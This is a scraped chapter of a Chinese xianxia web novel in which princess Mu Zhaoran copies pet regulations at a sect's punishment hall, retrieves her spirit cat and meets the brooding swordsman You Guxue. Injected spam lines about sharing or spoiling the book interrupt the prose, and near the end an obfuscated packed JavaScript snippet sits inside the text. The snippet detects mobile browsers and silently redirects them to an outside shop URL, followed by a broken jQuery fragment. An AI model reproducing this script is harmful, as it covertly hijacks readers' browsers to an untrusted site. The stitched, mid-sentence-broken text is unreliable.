刚经历过洗经伐髓的身体,会有一段难受的适应时期,所以,有三日休憩时间。
慕昭然回来沐浴完,周身骨头都像是拆了又重新组过,从皮肉里泛着隐隐酸软,她躺在软榻上,怀里抱着一个软枕,懊恼地来回打滚。
侍从捧着她的长发,用檀木梳蘸取养发的栀子油一缕缕梳通,再放到软绵布上拭干,她这样翻来覆去地扭,让头发又缠在了一起。
霜序问道:“殿下还难受么?要不让榴月再来给你揉一揉?
慕昭然闷闷摇头,霜序打量她的神情,又问道:“殿下是有什么烦心之事?说出来,臣等或许能为殿下解忧。
慕昭然转动眼眸看了一圈巴巴望着她的众人,嘴唇动了动,实在说不出口,最后一翻身坐起来,拍了拍脸颊,振作起来,问霜序道:“谅解书都签好了吗?
霜序点头,从匣中取来一份绢帛呈给她。
慕昭然抓住绢帛,高兴道:“好,为我梳妆更衣,去刑罚堂看看。
榴月道:“殿下才从洗髓池里出来,不是身上还不舒服么?不再好好休息一下?
慕昭然想到游辜雪那张脸,乌团在他那里定然过得不好,她活动了一下身体,“没事,领完罚好早点将乌团接回来。
收拾好出来竹溪阁时,正好撞见一个在院外徘徊的人。
慕昭然有些意外道:“宁小公子,你是来找我的么?
宁衰回头看到她,面上纠结的神情定下来,暗中给自己打打气,快步走到她面前行一礼,抬手递给她一本书折,“这是我这几天匆忙汇总,写下来的,想奉于殿下阅看。
慕昭然不明就里地接过来,“写的什么?
宁衰认真道:“殿下天资卓绝,才貌超群,又芳华正茂,实不必在一棵树上吊死,在下认为还是得多了解些别的青年才俊。
慕昭然脑袋上冒出一串问号,莫名其妙道:“宁小公子难不成是来自荐枕席的?
宁衰大惊失色,连连摆手,“不不不,我怎会有这种妄想。实不相瞒,他以前确实想过,但现在那是万万不会再想了。
瑶光圣女和行天剑君,两人身份地位倒也十分般配,况且,若他们二人能修成正果,那行天君不就成了他们南境的姑爷么?宁衰只要这么想想,就恨不得冲上九天,去把月老抓下来,给他们两人绑死。
奈何襄王有意,神女无心,宁衰觉得自己有义务帮一帮行天君,于是绞尽脑汁写出了这么一本为行天君歌功颂德的册子。
宁衰将册子送出去,人已经飞快地跑远了。
慕昭然打开书折,入目便是一行斗大的“行天君辉煌纪
听说和异性朋友讨论本书情节的,很容易发展成恋人哦
事一览”。
什么东西??
她下意识地把这册子丢了出去。
感情宁衰不是来自荐枕席的,是来帮游辜雪荐的。
你这么勇敢,游辜雪知道吗?
慕昭然无语失笑,看着地上摊开的折页上,密密麻麻写满的字,她又有点好奇,弯腰捡起来翻了翻,里面记载的大多都是游辜雪行走四方,诛邪除恶的事迹。
上月除了这个狂魔,下月杀了那只凶妖,转天又消灭了什么恶人云云。
这在慕昭然看来,简直就是赤丨裸裸的恐吓!
她把书折丢给霜序,冷漠无情道:“烧了。”
走出两步,又回头从霜序手里拿回去,“算了,先不烧。”正所谓知己知彼百战不殆,她前世不曾遭遇过这位行天君,还是得多了解他一些,有备无患。
慕昭然将书折收进腰间锦囊,继续往刑罚堂去。
天道宫的刑罚堂在绝山西面,沉黑色的建筑,威严无比,殿前的影壁上,雕刻着解豸神兽,形如牛羊,额生一角,身上环绕一圈浓密黝黑的鬃毛,怒目圆睁,望着每一个前来刑罚堂的人。
相传此神兽能辨是非,识善恶,定忠奸。
前世,慕昭然便是在这一头神兽前,被人定罪,然后被锁上刑罚堂后方的行刑台,在那台上待了十二天,每一天钉一道噬灵引入灵窍,足足钉入十二道,搅碎金丹,泄尽体内灵力。
虽然那金丹是她为了追上云霄飏,靠无数丹药强行堆砌而来的,但金丹破碎灵力泄尽时,她还是尝到了剜心刺骨、生不如死的痛苦滋味。
要不是为了乌团,慕昭然绝不愿意再踏入刑罚堂半步。
她垂着眼,避开影壁上的神兽怒目,快步绕过影壁,往刑罚堂里走去。
刑罚堂长老看见她,便知她的来意,请她坐到椅子上,又让人看茶,说道:“刑罚堂已经对乌团犯下的过错进行了审定,乌团只是一只未开智的猫灵,食过量灵石而致暴走,主要责任还在于殿下看管不力。”
慕昭然拱手执礼,满脸悔过,将手中一份绢帛递过去,说道:“的确是我之过,这三日来,我已派了手下医修去为受伤之人诊治,送上伤药,确保他们后续能康复无恙,也让人去与如归楼长老核验好灵田损失,照价赔偿,如还有不足之处,我亦愿意接受惩罚。”
长老接过绢帛打开来看,是一份谅解书,上面是此次受到牵连的各方签名,他满意颔首,让人取来一本小册递给她。
慕昭然接来手里,封面写着:天道宫文明养宠三千条例。
只是养一只灵宠,竟然能有三千条规定!比南荣圣殿管理灵卫的规矩都多了。
长老面容和善道:“在天道宫,
你的朋友正在书荒,快去帮帮他吧
灵宠犯错养宠的主人都得罚抄这本小册殿下既已尽力弥补获得各方谅解那惩罚也可再减三成抄写三十遍即可。”
慕昭然:“……”怎么她都进天道宫了还逃不过罚写抄书?
乌团你真是害苦了我。
慕昭然苦抄书久矣想拿回去让霜序她们帮着抄写长老很有先见之明地呵呵笑道:“殿下先在这里抄上一份存于刑罚堂里也好比对笔迹。”
慕昭然:“……”
不愧是天道宫很好很严谨。
长老最喜欢看弟子吃瘪的表情抚着下颌短须好心提醒道:“殿下可要用心抄写完成刑罚后你若想将乌团留在天道宫里伴随左右就必须要往内事堂为灵宠录名要想录名就得先考核答题答案嘛都在这条例当中。”
慕昭然被天道宫这层出不穷的规矩砸得头晕为了早日领回乌团她干脆也不回去了就待在刑罚堂的偏殿闷头抄写起养宠条例来。
这条例里面有许多正经养灵宠的规定比如天道宫门下弟子契约灵宠之前需要提前上报灵宠属性品种并评估灵宠危险等级主人必须有辖制灵宠的实力等等。
越抄写到后面离谱的规则便也越来越多抄得慕昭然满脑子疑问这是什么
“如对未开智的灵宠有猥亵之举视为虐待生灵情节恶劣当断主宠血契逐出天道宫。”慕昭然抄得崩溃“什么样的人会对自己灵宠做出这种事?”
旁边为她伺候笔墨的童子说道:“条例中已有的规定当然是有人犯过才会被补充进来的。”
慕昭然闻言露出一脸鄙夷问道:“那开智的灵宠又如何算?”
童子道:“长老说开智的灵宠有了明辨是非之智便算是妖修灵修这等修者了这种得按照人与人之间的章程来判定不在这本条例规定范围内。”
一遍三千条要抄写上三十遍慕昭然在刑罚堂中从早抄到晚中途饿了只停下来就着茶水吃两口旁边碗碟里的点心她抄得手腕发酸身旁伺候笔墨的童子都趴在一边睡着了。
刑罚堂里安安静静入夜之后渐起浓雾。
到了夜半主殿之上却忽然亮起灯光一道身影从刑罚堂外绕过影壁走进来穿过庭院弥漫的夜雾往主殿行去站定在堂中。
刑罚堂长老巫善打着呵欠从内殿出来看到他时面上都是无奈。
游辜雪道:“我来领罚。”
巫善看一眼他腰间的行天剑并不多问便要领着他往后方刑台去。
慕昭然一下急了从偏殿中快步跑出来喊道:“等等游师兄乌团呢!”
恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的
他总不能带着乌团一起受罚。
主殿内的两人一同回过头来,殿内的烛火轻轻一晃,灯影婆娑中,游辜雪的目光隔空落在她身上,那浓稠的眼神,像是被这弥漫庭院的夜雾侵染,透着一股阴冷的湿漉。
令人不适。
行天剑颤动一霎,被游辜雪不动声色地伸手按住,他很快垂下眼睫,淡声道:“我已将乌团交给内事堂长老,师妹受过惩罚,自去领回便可。”
慕昭然在夜雾里点了点头,“谢谢师兄。”
游辜雪转过身,随巫善往刑罚堂后走去。
慕昭然看着他的背影消失在廊后,还在因方才一触及离的黏湿目光而浑身发寒,忍不住搓搓手臂,返回偏殿去继续抄书。
她不是那等喜欢偷听墙角之辈,只不过刑罚堂里太过安静,一点风吹草动她在偏殿都能听见,看到游辜雪深夜踏入刑罚堂,她心里实在好奇,才会凑到门边努力听了一耳朵。
虽然听了也跟没听差不多。
看那位刑罚堂长老,似乎已经习惯游辜雪前来领罚,甚至都没问他领的什么罚,便将他带去了后方。
慕昭然抓起笔抄写了两行字,心中好奇地如同乌团在挠,戳醒旁边的童子,问道:“游辜……游师兄经常来刑堂领罚么?”
童子揉揉眼睛,迷糊地点头。
一个执掌行天剑,替天行道、惩奸除恶之人,竟然也会有犯错的时候?这在慕昭然看来,就像是一个高居于庙堂之上,定人生死之人,忽然跌下堂来,变成了一个与她一样,也会犯错的普通人。
不再那么凛然威严,令人惧怕。
哼,也不过如此嘛。
慕昭然越发好奇,追问道:“他经常犯错?”
童子打起精神为她磨了两圈墨,眼皮又开始打架,含糊不清道:“游师兄怎么可能经常犯错?也就是最近一段时日,来过那么两三次、四次、五六次吧……”
慕昭然看出他困得厉害,可能都不知道自己数了几次了,说道:“你去休息吧。”
童子趴到一旁的坐席上,很快又睡过去。
慕昭然通宵抄完三十遍养宠条例,外面天刚蒙蒙亮,她揉着手腕和那小童一起,倚在偏殿的坐席上,摸出那一本《行天君辉煌纪事一览》细致地拜读起来。
等晨钟敲响,刑罚堂巫善长老出来上职,她才收好书折,捧起抄好的一大摞宣纸送去给长老审看。
巫善昨夜被游辜雪半夜搅扰,睡得也不好,眼下一片乌青,看到慕昭然明亮的眼眸,笑道:“殿下熬了一夜,精神头还这么好,看来我是真的老咯。”
慕昭然在心里嘀咕,你可不老,你在刑台上操纵噬灵引
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17335178|165084||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
钉穿我灵窍的时候,可是非常地老当
你的朋友正在书荒,快去帮帮他吧
益壮。
当然这种话她也只能在心里嘀咕两句罢了。
慕昭然也明白她的罪是法尊亲自盖棺定论刑罚堂长老只是执行者而已但她对这一座阴沉可怖的刑罚堂实难有好感只想早点解决乌团的事以后绝不再踏入这里半步。
巫善大约看出她的急迫来也不再寒暄废话说道:“你随我来。”
慕昭然拿到巫善出具的文书准备往内事堂去时游辜雪也从刑罚堂后方出来两人在影壁前打了个照面。
现下已近深秋天道宫居于绝山之巅气候比山下凉得更快雾气散得缓慢游辜雪一身白衣潮湿白雾弥漫在他身周看上去格外厚重脸色苍白得像是要和雾气融为一体。
慕昭然上下将他打量一圈实在看不出他究竟受了何种惩罚。
脑子里面打转的都是书折上游辜雪一剑诛妖魔的伟岸形象不得不说宁衰很有写话本的天赋能把游辜雪写得如天神一般光明伟大不染污尘简直是拯救苍生的大英雄。
只可惜这位大英雄最后并不是为救苍生而死而是死在道心拷问上就像是白雪堕尘死得甚至称得上屈节辱命负人所望令后来人都不愿再提及他的名。
游辜雪抬起乌黑的瞳轻轻扫她一眼
霜序等人一早便等在刑罚堂外了终于见得殿下出来一群人迎上前来团团将她围住有给她披斗篷的有给她揉手腕的还有人带了个四五层高的食盒装着甜汤和点心生怕殿下在冷森森的刑罚堂里渴着、饿着、冷着了。
游辜雪看着她在众人簇拥下笑得开颜朝阳穿透晨雾洒落在她身上绣着山茶花的锦缎斗篷上为这湿寒的晨日涂抹上一片亮丽的艳色。
原来她真心实意的笑是这般模样。
慕昭然被簇拥着走出了好一段距离才忽然想起什么回头去看游辜雪的身影早已消失在湿漉漉的雾气中。
霜序道:“殿下你昨夜一夜未睡还是先回去休息半日吧。”
慕昭然收回目光摇了摇头“先去把乌团领回来再说。”
趁着刚抄写完条例对那些乱七八糟的规定记忆清晰慕昭然很快答完了内事堂出的考卷总算顺利将乌团领回。
慕昭然带它回到竹溪阁打开缚灵袋一团黑影从里面滚出来一下子膨胀开琥珀色的眼珠转了转猛地一下扑到慕昭然身上嗷呜嗷呜地哭嚎。
在缚灵袋里待了这么多日乌团还没有将体内灵力消化尽灵体圆滚滚胖乎乎堪比一头猛虎一下将慕昭然扑得摔倒在地上
你身边有不少朋友还没看到本章呢,快去给他们剧透吧
,被它压得半天都起不来。
“乌团,你这笨猫,你要压死我了!”慕昭然哭笑不得,一群侍从手忙脚乱地来推乌团,愣是半天都没把这只忘记了自己体型只顾撒娇的胖猫推动。
南吕一连在它身上拍了五六张浮空符,符上朱砂符文化作丝缕红光融入黑猫灵体内,乌团的身子蓦地一轻,从慕昭然身上浮起来,划拉着胖胖的四肢爪子,在半空中扒拉,越飘越高。
南吕一拍脑门,哎呀道:“糟糕,贴多了!夷则快跳上去,抓住它的尾巴,别飘走了!”
一道黑影从院墙边的浓绿树冠上纵身飞出来,跃上半空,抓住乌团的尾巴将它往下拽。
一群人立即扑过去,抓尾巴的抓尾巴,抱爪子的抱爪子,总算把这只大猫控制在了院子里。
慕昭然被霜序从地上扶起来,叉腰指着扑腾的大猫,没好气道:“就这样,把它栓到廊柱上去,就让它在空中飘几天,免得它到处惹祸。”
乌团顿时嗷呜嗷呜地哭嚎起来。
竹溪阁里吵吵嚷嚷,人声和猫叫混作一团,热闹非凡。
叶离枝站在竹溪阁的院门前,艳羡地看着这一幕,榴月扶着门扉边,对她笑了笑,说道:“叶姑娘不用来道谢的,当日是因为乌团暴走,才会让众人陷入险境,换做是别的任何一个人,殿下都会不遗余力地救治。”
叶离枝咬咬唇,还想要再试着争取一番,她当初想来天道宫,是因着有人赠予了她一枚燕金令,她想要凭此逃离将军府,而不是像现在这样,就算已到了天道宫来,却还是被困在叶凌烟身边。
叶戎给予她的认可,并未带给她多少实质性的好处,当与叶凌烟的利益相冲突时,她永远是让步牺牲的那一个。
可一再的退让,并未换来姐姐对自己的接纳,叶凌烟甚至还觉得她威胁到了她的地位,想要杀了她。
叶离枝实在不知道还能找谁,可以拉她一把了。
她捏紧袖口,犹豫片刻,说道:“我最近学了首新曲子,想要请殿下听一听,她也许会喜欢。”
榴月回头往院中看去一眼,想起慕昭然之前的叮嘱,狠下心来说道:“殿下其实不爱听曲,叶姑娘请回吧。”
叶离枝眼中的一点希冀完全熄灭下去,失魂落魄地转身往回走。
走到半程又被榴月追上喊住,说道:“叶姑娘,殿下请你留步,说在来的路上时,没能听到姑娘开嗓很是遗憾,姑娘既做了新曲,殿下定要听上一听。”
竹溪阁内,慕昭然坐在院中一丛凤竹下,手指紧紧扣着石桌边缘,被魂上罪印烧得额上起了细密汗珠,身子细细地发着抖。
看到叶离枝进门时那一副欢喜模样,她心里恨得磨牙。
相亲相爱,该死的相亲相爱!